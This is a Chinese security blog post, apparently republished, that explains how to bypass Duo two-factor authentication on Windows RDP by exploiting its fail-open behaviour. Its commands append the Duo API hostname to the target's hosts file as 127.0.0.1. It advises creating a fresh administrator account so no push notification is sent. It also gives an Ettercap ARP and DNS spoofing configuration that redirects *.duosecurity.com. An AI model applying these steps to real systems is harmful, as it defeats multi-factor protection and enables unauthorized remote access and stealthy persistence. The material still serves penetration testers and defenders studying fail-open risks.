技术干货 | Duo RDP双因素身份验证防护绕过

技术干货 | Duo RDP双因素身份验证防护绕过

本文作者:3had0w(贝塔安全实验室-核心成员)


0x01 简介

Duo与Microsoft Windows客户端和服务器操作系统集成,可以为远程桌面和本地登录添加2FA双因素身份验证,在国内注册时可能会出现Google reCAPTCHA人机验证显示不出来的情况。至于如何安装和配置2FA双因素身份验证就不详细介绍了,请移步官网:https://duo.com/docs/rdp

原文地址:https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/

0x02 工作原理
1) RDP连接或控制台登录已启动
2) 主要身份验证
3) 通过TCP端口443与Duo Security建立的Duo Windows登录凭据提供程序连接
4) 通过Duo Security的服务进行二级认证
5) Duo Windows登录凭据提供程序接收身份验证响应
6) 登录RDP或控制台会话

技术干货 | Duo RDP双因素身份验证防护绕过

症状-1:
The username you have entered is not enrolled with Duo Security. Please contact your system administrator.(您输入的用户名没有在Duo Security注册)。

技术干货 | Duo RDP双因素身份验证防护绕过

症状-2:
Access Denied. The username you have entered cannot authenticate with Duo Security. Please contact your system administrator.(拒绝访问,您输入的用户名无法通过Duo Security进行身份验证)。

技术干货 | Duo RDP双因素身份验证防护绕过

症状-3:
Your two-factor account is disabled. Contact an administrator for assistance.(您的双因素帐户已停用,您输入的用户名在Duo Security被删除到回收站)。
0x03 验证方式

Duo双因素身份验证方式有:Duo Push(手机端推送)、Call Me(打给我)、Passcode(密码代码,如下图中的:*** 437)。手机端Duo Mobile应用中的DUO-PROTECTED(RDP保护)、DUO ADMIN(Duo仪表板保护)。

技术干货 | Duo RDP双因素身份验证防护绕过
技术干货 | Duo RDP双因素身份验证防护绕过

技术干货 | Duo RDP双因素身份验证防护绕过

注:Duo Security保护的用户名或用户名别名在多次登录失败后可能会出现此提示:Your account has been locked out due to excessive authentication failures(已被锁定,该用户超过了自动锁定阈值),得在Duo仪表板里Require two-factor authentication(default)选项重新激活。
0x04 解决方案

(1) Shell命令行绕过

利用目标机器的Shell命令行绕过,ipconfig /displaydns命令找出Duo API DNS缓存记录(每个用户都会得到一个不一样的API hostname)。为了防止系统具有过多的DNS缓存并且显示速度太慢,这时可以将命令执行结果写入到文件中:ipconfig /displaydns > C:ProgramDatadns.txt。

技术干货 | Duo RDP双因素身份验证防护绕过

然后编辑目标机器的hosts文件,将刚刚找到的Duo API DNS缓存记录解析到本地127.0.0.1,依次执行以下命令。也可以用Metasploit下的post/windows/manage/inject_host模块、Meterpreter的edit命令和hostsedit脚本。
C:Windowssystem32> copy .driversetchosts .driversetchosts.bak
C:Windowssystem32> echo 127.0.0.1 api-2e****9c.duosecurity.com >> .driversetchosts
C:Windowssystem32> type .driversetchosts

技术干货 | Duo RDP双因素身份验证防护绕过

注:如果执行ipconfig /displaydns命令没有找到Duo API DNS缓存记录,这时可以尝试新建一个管理员账户密码,然后用Microsoft RDP登录,再执行ipconfig /displaydns命令时就能看到Duo API DNS缓存记录了。千万不要使用目标机器上已有的管理员账户登录,因为它们可能已在Duo Security注册并保护,如果用已有的管理员账户进行登录就会向手机端Duo Mobile应用发送推送信息。

(2) ARP+DNS欺骗绕过

利用Ettercap、Bettercap等工具的ARP+DNS欺骗功能进行绕过,编辑/etc/ettercap/etter.dns文件,将Duo API hostname解析到本地127.0.0.1,“*”星号代表所有的意思。

[...SNIP...]
################################
# microsoft sucks ;)
# redirect it to www.linux.org

microsoft.com      A   107.170.40.56
*.microsoft.com    A   107.170.40.56
www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed

*.duosecurity.com       A   127.0.0.1
[...SNIP...]

Ettercap ARP+DNS欺骗配置:

1) ettercap -G -> Sniff -> Unified sniffing(Ctrl+U)-> eth0
2) Hosts -> Scan for hosts(Ctrl+S)-> Hosts list(Ctrl+H)-> 192.168.1.1 ->Add to Target 1 -> 192.168.1.112 -> Add to Target 2
3) Plugins -> Manage the plugins(Ctrl+P)-> dns_spoof(双击)-> Mitm -> ARP poisoning -> Sniff remote connections(勾选)-> Start -> Start sniffing
技术干货 | Duo RDP双因素身份验证防护绕过

技术干货 | Duo RDP双因素身份验证防护绕过

注:如果停止ARP、DNS欺骗并关掉Ettercap软件以后DNS解析记录仍然是127.0.0.1,这时只需在受害者机器上执行“ipconfig /flushdns”命令刷新一下DNS解析缓存就好了。另外ARP、DNS欺骗这类攻击方式动静都比较大,不是迫不得已的情况下并不建议使用。


技术干货 | Duo RDP双因素身份验证防护绕过


报名参加EISS2020北京站

技术干货 | Duo RDP双因素身份验证防护绕过

本文始发于微信公众号(安世加):技术干货 | Duo RDP双因素身份验证防护绕过

原文链接:http://cn-sec.com/archives/523779.html

原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/22678

(0)
上一篇 2024年4月20日 02:13
下一篇 2024年4月20日 06:24

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

优速盾注册领取大礼包www.cdnb.net
/sitemap.xml